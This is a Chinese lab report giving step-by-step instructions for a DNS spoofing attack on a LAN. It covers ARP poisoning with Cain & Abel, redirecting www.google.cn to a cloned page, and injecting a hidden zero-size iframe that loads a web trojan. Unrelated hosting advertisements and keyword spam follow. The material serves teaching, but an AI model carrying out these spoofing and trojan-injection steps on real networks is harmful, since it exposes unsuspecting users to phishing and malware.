如图【最新资料】DNS欺骗实验报告4-1

dns欺骗  时间:2021-03-16  阅读:()

实验5 DNS欺骗

实验任务一

1安装Cain&Abel

下载并运行"Cain&Abel v4.9.26"安装程序安装完毕后会弹出一个安装提示对话框要求安装WinPcap v4.0.2如图8-51所示。如果前面已经安装过就可以单击【Don't install】按钮取消WinP c ap的安装。

2制作假Google网页

用IE浏览器打开Google主页选择菜单栏中的【菜单】→【另存为】命令。在弹出的"另存为"对话框中指定保存路径设置"保存类型"为"网页全部"如图8-52所示。单击【确定】按钮保存生成名为"goog le.htm"的网页及相关图片文件夹"Goog le.files"。

用记事本打开"google.htm"文件并进行编辑在"<SCRIPT defer><!--//--></SCRIPT>"字符串前输入如下命令见图8-53 

1. <iframe src="http://192.168.1.198/index.htm" width=0 height=0></iframe>

上面的IP应该是192.168.1.8

然后保存网页的修改。

将"google.htm"和"Google.files"复制到刚才的"C:\web"文件夹中。运行"紫雨轩ASP Web服务器"将"缺省文件"设置为"goog le.htm"单击【保存】按钮完成设置。

在浏览器中输入本机的IP地址按【Enter】键后即可打开假Google网页并且网页中嵌入了网页木马如图8-54所示。

对于这种内嵌网页木马的方式杀毒软件不会给出警告但是我们可以从"紫雨轩ASPWeb服务器"的运行记录中看到木马实际上已经被执行了如图8-55所示。

3选择欺骗攻击目标

运行Cain&Abel v4.9.26单击工具栏上的【Start/Stop ARP】按钮如图8-56所示弹出设置对话框。

内网中的DNS欺骗强大的欺骗工具Cain 2

在其中选择自己用来嗅探的网卡需要选择能正确显示IP地址的网卡如图8-57所示。单击【确定】按钮后关闭对话框单击工具栏中的【Start/Stop Sniff】按钮再选择下方的"Sniffer"选项卡如图8-58所示。

单击工具栏中的【Add to List】按钮弹出"MAC Address Scanner"对话框如图8-59所示选择"All hosts in my subnet 本机所在子网中的所有主机 "单选按钮单击【确定】按钮后程序将自动扫描局域网中的所有在线主机。扫描结束后程序窗口列表中显示出扫描结果如图8-60所示。

选择"Sniffer"选项卡中窗口列表下方的"ARP"小选项卡切换到"ARP"页面。选择左侧目录树中的顶层"ARP"选项在右边的窗格列表空白处单击鼠标左键工具栏上的【Add toLis t】按钮被激活如图8-61所示。

单击【Add to list】按钮弹出"New ARP Poison Routing"对话框在对话框左边的列表中显示当前局域网中的IP地址。在列表中选择要进行欺骗的IP地址这里假设要欺骗的IP地址为"192.168.1.9"在右边选择被欺骗IP的目标网关如图8-62所示最后单击【确定】按钮关闭对话框在窗口列表中可以看到添加的欺骗主机如图8-63所示。

4DNS欺骗攻击

在"Sniffer"选项卡的"ARP"页面中选择左侧目录树中的"ARP-DNS"选项如图8-64所示在右边的窗格列表空白处单击鼠标左键激活工具栏上的【Add to List】按钮。

单击【Add to List】按钮弹出"DNS Spoofer for APR"对话框。在"DNS Name Requested请求DNS域名"文本框中输入要正常访问的网站这里为Goog le的网页"www.google.cn"然后在"IP adress to rewrite in response packets 改写响应数据包的IP地址 "文本框中输入本机的IP"192.168.1.8"如图8-65所示。

设置完成后单击【O K】按钮DNS欺骗将被添加到程序窗口列表中如图8-66所示。

经过设置后当被欺骗的主机访问Google的网页"http://w ww.go ogle.c n"时将会被Cain&Abel工具进行数据包捕获修改将其域名解析到攻击者指定的IP地址"192.168.1.8"的网页服务。用同样的方法添加局域网中的其他任意主机到攻击目标中并设置其欺骗域名与IP地址。

设置完毕后单击【Start/Stop ARP】按钮 DNS欺骗工作就开始了。此时指定的IP地址在访问"http://www.google.c n"时就会自动跳转到攻击者刚刚建立的假Google页面上。实验任务二、使用ARP防火墙

任务简要写出实验一的核心原理并截图(需要CAIN的设置图863及866)

需要说明各个计算机所扮演的角色以及数据流向各个计算机需要安装什么服务或者什么软件。

gcorelabs远东khabarovsk伯力Cloud云服务器测评,告诉你gcorelabs云服务器怎么样

说明一下:gcorelabs的俄罗斯远东机房“伯力”既有“Virtual servers”也有“CLOUD SERVICES”,前者是VPS,后者是云服务器,不是一回事;由于平日大家习惯把VPS和云服务器当做一回事儿,所以这里要特别说明一下。本次测评的是gcorelabs的cloud,也就是云服务器。 官方网站:https://gcorelabs.com 支持:数字加密货币、信用卡、PayPal...

Virmach款低价VPS可选可以选择多个机房,新增多款低价便宜VPS主机7.2美元起

Virmach商家我们是不是比较熟悉?速度一般,但是人家价格低,而且机房是比较多的。早年的时候有帮助一个有做外贸也许需要多个机房且便宜服务商的时候接触到这个商家,有曾经帮助够买过上百台这样的低价机器。这里需要提醒的,便宜但是速度一般,尤其是中文业务速度确实不快,如果是外贸业务,那肯定是没有问题。这几天,我们有看到Virmach推出了夏季优惠促销,VPS首年8折,最低年付仅7.2美元,多机房可选,如...

丽萨主机:美国CN2 GIA精品网/KVM/9折,美国原生IP,最低27元/月

丽萨主机怎么样?丽萨主机,团队于2017年成立。成立之初主要做的是 CDN 和域名等相关业务。最近开辟新领域,新增了独立服务器出租、VPS 等业务,为了保证业务质量从一开始就选择了中美之间的 CN2 GIA 国际精品网络,三网回程 CN2 GIA,电信去程 CN2 GIA + BGP 直连智能路由,联通移动去程直连,原生IP。适合对网络要求较高的用户,同时价格也比较亲民。点击进入:丽萨主机官方网站...

dns欺骗为你推荐
微信回应封杀钉钉微信大封杀什么时候结束巫正刚想在淘宝开一个类似于耐克、阿迪之类的店、需要多少钱、如何能够代理同ip站点同IP做同类站好吗?百度关键词分析百度竞价关键词分析需要从哪些数据入手?百度关键词分析关键词怎么分析?www.55125.cnwww95599cn余额查询www.765.com下载小说地址www.aise.com怎么观看网页一些视频?hao.rising.cn我的Google Chrome主页被http://hao.rising.cn//?b=64锁定了,谁有办法?dpscycle痛苦术士PVE输出宏
域名转让 汉邦高科域名注册 万网域名空间 132邮箱 5折 BWH 圣迭戈 美国便宜货网站 gomezpeer 免费cdn加速 网站被封 hostker 169邮箱 华为云盘 闪讯官网 中国电信测速网站 谷歌台湾 nnt SmartAXMT800 湖南铁通 更多